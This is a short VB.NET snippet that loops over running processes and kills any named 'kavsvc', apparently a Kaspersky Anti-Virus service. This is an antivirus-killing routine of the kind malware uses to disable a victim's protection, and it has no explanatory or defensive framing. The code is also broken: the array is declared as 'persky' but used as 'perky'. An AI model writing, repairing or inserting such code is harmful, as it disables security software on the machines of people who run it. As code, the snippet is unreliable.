Dim persky As Process() = Process.GetProcesses
Dim p As Integer
For p = 0 To persky.Length - 1
Debug.WriteLine(perky(p).ProcessName)
If Strings.UCase(perky(p).ProcessName) =Strings.UCase("kavsvc") Then
perky(p).Kill()
End If
Next